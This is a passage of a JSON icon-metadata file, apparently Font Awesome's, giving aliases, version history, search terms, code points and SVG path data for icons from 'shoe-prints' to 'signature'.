        "secondary": ["10f54b"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["feet", "footprints", "steps", "walk"]
    },
    "styles": ["solid"],
    "unicode": "f54b",
    "label": "Shoe Prints",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M416 0C352.3 0 256 32 256 32V160c48 0 76 16 104 32s56 32 104 32c56.4 0 176-16 176-96S512 0 416 0zM128 96c0 35.3 28.7 64 64 64h32V32H192c-35.3 0-64 28.7-64 64zM288 512c96 0 224-48 224-128s-119.6-96-176-96c-48 0-76 16-104 32s-56 32-104 32V480s96.3 32 160 32zM0 416c0 35.3 28.7 64 64 64H96V352H64c-35.3 0-64 28.7-64 64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M416 0C352.3 0 256 32 256 32V160c48 0 76 16 104 32s56 32 104 32c56.4 0 176-16 176-96S512 0 416 0zM128 96c0 35.3 28.7 64 64 64h32V32H192c-35.3 0-64 28.7-64 64zM288 512c96 0 224-48 224-128s-119.6-96-176-96c-48 0-76 16-104 32s-56 32-104 32V480s96.3 32 160 32zM0 416c0 35.3 28.7 64 64 64H96V352H64c-35.3 0-64 28.7-64 64z"
      }
    },
    "free": ["solid"]
  },
  "shop": {
    "aliases": {
      "names": ["store-alt"],
      "unicodes": {
        "secondary": ["10f54f"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bodega",
        "building",
        "buy",
        "market",
        "purchase",
        "shopping",
        "store"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54f",
    "label": "Shop",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M36.8 192H603.2c20.3 0 36.8-16.5 36.8-36.8c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM64 224V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V384 224H320V384H128V224H64zm448 0V480c0 17.7 14.3 32 32 32s32-14.3 32-32V224H512z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M36.8 192H603.2c20.3 0 36.8-16.5 36.8-36.8c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM64 224V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V384 224H320V384H128V224H64zm448 0V480c0 17.7 14.3 32 32 32s32-14.3 32-32V224H512z"
      }
    },
    "free": ["solid"]
  },
  "shop-lock": {
    "changes": ["6.0.0", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bodega",
        "building",
        "buy",
        "closed",
        "lock",
        "lockdown",
        "market",
        "purchase",
        "quarantine",
        "shop",
        "shopping",
        "store"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4a5",
    "label": "Shop Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M36.8 192H449.6c20.2-19.8 47.9-32 78.4-32c30.5 0 58.1 12.2 78.3 31.9c18.9-1.6 33.7-17.4 33.7-36.7c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM384 224H320V384H128V224H64V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V384 352 224zm144 16c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M36.8 192H449.6c20.2-19.8 47.9-32 78.4-32c30.5 0 58.1 12.2 78.3 31.9c18.9-1.6 33.7-17.4 33.7-36.7c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM384 224H320V384H128V224H64V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V384 352 224zm144 16c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "shop-slash": {
    "aliases": {
      "names": ["store-alt-slash"],
      "unicodes": {
        "secondary": ["10e070"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "buy", "closed", "covid-19", "purchase", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "e070",
    "label": "Shop Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-54.8-43V224H512V376L384 275.7V224H320v1.5L277.2 192H603.2c20.3 0 36.8-16.5 36.8-36.8c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L74.1 32.8 38.8 5.1zM36.8 192h85L21 112.5 6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM320 384H128V224H64V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V398.5l-64-50.4V384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-54.8-43V224H512V376L384 275.7V224H320v1.5L277.2 192H603.2c20.3 0 36.8-16.5 36.8-36.8c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L74.1 32.8 38.8 5.1zM36.8 192h85L21 112.5 6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM320 384H128V224H64V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V398.5l-64-50.4V384z"
      }
    },
    "free": ["solid"]
  },
  "shopify": {
    "changes": ["5.12.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e057",
    "label": "Shopify",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z"
      }
    },
    "free": ["brands"]
  },
  "shopware": {
    "changes": ["5.1.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5b5",
    "label": "Shopware",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z"
      }
    },
    "free": ["brands"]
  },
  "shower": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6bf"],
        "secondary": ["10f2cc"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bath", "clean", "faucet", "shower", "water"]
    },
    "styles": ["solid"],
    "unicode": "f2cc",
    "label": "Shower",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 131.9C64 112.1 80.1 96 99.9 96c9.5 0 18.6 3.8 25.4 10.5l16.2 16.2c-21 38.9-17.4 87.5 10.9 123L151 247c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0L345 121c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-1.3 1.3c-35.5-28.3-84.2-31.9-123-10.9L170.5 61.3C151.8 42.5 126.4 32 99.9 32C44.7 32 0 76.7 0 131.9V448c0 17.7 14.3 32 32 32s32-14.3 32-32V131.9zM256 352a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm32-32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 131.9C64 112.1 80.1 96 99.9 96c9.5 0 18.6 3.8 25.4 10.5l16.2 16.2c-21 38.9-17.4 87.5 10.9 123L151 247c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0L345 121c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-1.3 1.3c-35.5-28.3-84.2-31.9-123-10.9L170.5 61.3C151.8 42.5 126.4 32 99.9 32C44.7 32 0 76.7 0 131.9V448c0 17.7 14.3 32 32 32s32-14.3 32-32V131.9zM256 352a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm32-32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "shrimp": {
    "aliases": {
      "unicodes": {
        "composite": ["1f990"]
      }
    },
    "changes": ["6.0.0-beta2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "allergy",
        "crustacean",
        "prawn",
        "seafood",
        "shellfish",
        "shrimp",
        "tail"
      ]
    },
    "styles": ["solid"],
    "unicode": "e448",
    "label": "Shrimp",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96s28.7 64 64 64h1c3.7 88.9 77 160 167 160h56V128H264 88.8 64c-17.7 0-32-14.3-32-32s14.3-32 32-32H464c8.8 0 16-7.2 16-16s-7.2-16-16-16H64zM224 456c0 13.3 10.7 24 24 24h72V407.8l-64.1-22.4c-12.5-4.4-26.2 2.2-30.6 14.7s2.2 26.2 14.7 30.6l4.5 1.6C233 433.9 224 443.9 224 456zm128 23.3c36.4-3.3 69.5-17.6 96.1-39.6l-86.5-34.6c-3 1.8-6.2 3.2-9.6 4.3v69.9zM472.6 415c24.6-30.3 39.4-68.9 39.4-111c0-12.3-1.3-24.3-3.7-35.9L382.8 355.1c.8 3.4 1.2 7 1.2 10.6c0 4.6-.7 9-1.9 13.1L472.6 415zM336 128H320V320h18.3c9.9 0 19.1 3.2 26.6 8.5l133.5-92.4C471.8 172.6 409.1 128 336 128zM168 192a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96s28.7 64 64 64h1c3.7 88.9 77 160 167 160h56V128H264 88.8 64c-17.7 0-32-14.3-32-32s14.3-32 32-32H464c8.8 0 16-7.2 16-16s-7.2-16-16-16H64zM224 456c0 13.3 10.7 24 24 24h72V407.8l-64.1-22.4c-12.5-4.4-26.2 2.2-30.6 14.7s2.2 26.2 14.7 30.6l4.5 1.6C233 433.9 224 443.9 224 456zm128 23.3c36.4-3.3 69.5-17.6 96.1-39.6l-86.5-34.6c-3 1.8-6.2 3.2-9.6 4.3v69.9zM472.6 415c24.6-30.3 39.4-68.9 39.4-111c0-12.3-1.3-24.3-3.7-35.9L382.8 355.1c.8 3.4 1.2 7 1.2 10.6c0 4.6-.7 9-1.9 13.1L472.6 415zM336 128H320V320h18.3c9.9 0 19.1 3.2 26.6 8.5l133.5-92.4C471.8 172.6 409.1 128 336 128zM168 192a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "shuffle": {
    "aliases": {
      "names": ["random"],
      "unicodes": {
        "composite": ["1f500"],
        "secondary": ["10f074"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows",
        "crossed",
        "shuffle",
        "shuffle tracks button",
        "sort",
        "swap",
        "switch",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f074",
    "label": "Shuffle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M403.8 34.4c12-5 25.7-2.2 34.9 6.9l64 64c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-64 64c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V160H352c-10.1 0-19.6 4.7-25.6 12.8L284 229.3 244 176l31.2-41.6C293.3 110.2 321.8 96 352 96h32V64c0-12.9 7.8-24.6 19.8-29.6zM164 282.7L204 336l-31.2 41.6C154.7 401.8 126.2 416 96 416H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96c10.1 0 19.6-4.7 25.6-12.8L164 282.7zm274.6 188c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V416H352c-30.2 0-58.7-14.2-76.8-38.4L121.6 172.8c-6-8.1-15.5-12.8-25.6-12.8H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96c30.2 0 58.7 14.2 76.8 38.4L326.4 339.2c6 8.1 15.5 12.8 25.6 12.8h32V320c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l64 64c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M403.8 34.4c12-5 25.7-2.2 34.9 6.9l64 64c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-64 64c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V160H352c-10.1 0-19.6 4.7-25.6 12.8L284 229.3 244 176l31.2-41.6C293.3 110.2 321.8 96 352 96h32V64c0-12.9 7.8-24.6 19.8-29.6zM164 282.7L204 336l-31.2 41.6C154.7 401.8 126.2 416 96 416H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96c10.1 0 19.6-4.7 25.6-12.8L164 282.7zm274.6 188c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V416H352c-30.2 0-58.7-14.2-76.8-38.4L121.6 172.8c-6-8.1-15.5-12.8-25.6-12.8H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96c30.2 0 58.7 14.2 76.8 38.4L326.4 339.2c6 8.1 15.5 12.8 25.6 12.8h32V320c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l64 64c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-64 64z"
      }
    },
    "free": ["solid"]
  },
  "shuttle-space": {
    "aliases": {
      "names": ["space-shuttle"],
      "unicodes": {
        "secondary": ["10f197"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "astronaut",
        "machine",
        "nasa",
        "rocket",
        "space",
        "transportation"
      ]
    },
    "styles": ["solid"],
    "unicode": "f197",
    "label": "Shuttle Space",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M130 480c40.6 0 80.4-11 115.2-31.9L352 384l-224 0 0 96h2zM352 128L245.2 63.9C210.4 43 170.6 32 130 32h-2v96l224 0zM96 128l0-96H80C53.5 32 32 53.5 32 80v48h8c-22.1 0-40 17.9-40 40v16V328v16c0 22.1 17.9 40 40 40H32v48c0 26.5 21.5 48 48 48H96l0-96h8c26.2 0 49.4-12.6 64-32H456c69.3 0 135-22.7 179.2-81.6c6.4-8.5 6.4-20.3 0-28.8C591 182.7 525.3 160 456 160H168c-14.6-19.4-37.8-32-64-32l-8 0zM512 243.6v24.9c0 19.6-15.9 35.6-35.6 35.6c-2.5 0-4.4-2-4.4-4.4V212.4c0-2.5 2-4.4 4.4-4.4c19.6 0 35.6 15.9 35.6 35.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M130 480c40.6 0 80.4-11 115.2-31.9L352 384l-224 0 0 96h2zM352 128L245.2 63.9C210.4 43 170.6 32 130 32h-2v96l224 0zM96 128l0-96H80C53.5 32 32 53.5 32 80v48h8c-22.1 0-40 17.9-40 40v16V328v16c0 22.1 17.9 40 40 40H32v48c0 26.5 21.5 48 48 48H96l0-96h8c26.2 0 49.4-12.6 64-32H456c69.3 0 135-22.7 179.2-81.6c6.4-8.5 6.4-20.3 0-28.8C591 182.7 525.3 160 456 160H168c-14.6-19.4-37.8-32-64-32l-8 0zM512 243.6v24.9c0 19.6-15.9 35.6-35.6 35.6c-2.5 0-4.4-2-4.4-4.4V212.4c0-2.5 2-4.4 4.4-4.4c19.6 0 35.6 15.9 35.6 35.6z"
      }
    },
    "free": ["solid"]
  },
  "sign-hanging": {
    "aliases": {
      "names": ["sign"],
      "unicodes": {
        "secondary": ["10f4d9"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["directions", "real estate", "signage", "wayfinding"]
    },
    "styles": ["solid"],
    "unicode": "f4d9",
    "label": "Sign Hanging",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 0c17.7 0 32 14.3 32 32V64l352 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-352 0V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V128H32C14.3 128 0 113.7 0 96S14.3 64 32 64H64V32C64 14.3 78.3 0 96 0zm96 160H448c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 0c17.7 0 32 14.3 32 32V64l352 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-352 0V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V128H32C14.3 128 0 113.7 0 96S14.3 64 32 64H64V32C64 14.3 78.3 0 96 0zm96 160H448c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "signal": {
    "aliases": {
      "names": ["signal-5", "signal-perfect"],
      "unicodes": {
        "composite": ["1f4f6"],
        "secondary": ["10f012"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "antenna",
        "antenna bars",
        "bar",
        "bars",
        "cell",
        "graph",
        "mobile",
        "online",
        "phone",
        "reception",
        "status"
      ]
    },
    "styles": ["solid"],
    "unicode": "f012",
    "label": "Signal",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M576 0c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM448 96c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V128c0-17.7 14.3-32 32-32zM352 224V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32zM192 288c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V320c0-17.7 14.3-32 32-32zM96 416v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V416c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M576 0c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM448 96c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V128c0-17.7 14.3-32 32-32zM352 224V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32zM192 288c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V320c0-17.7 14.3-32 32-32zM96 416v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V416c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "signature": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5b7"]
      }
    },
    "changes": [
      "5.1.0",
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["John Hancock", "cursive", "name", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f5b7",
    "label": "Signature",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
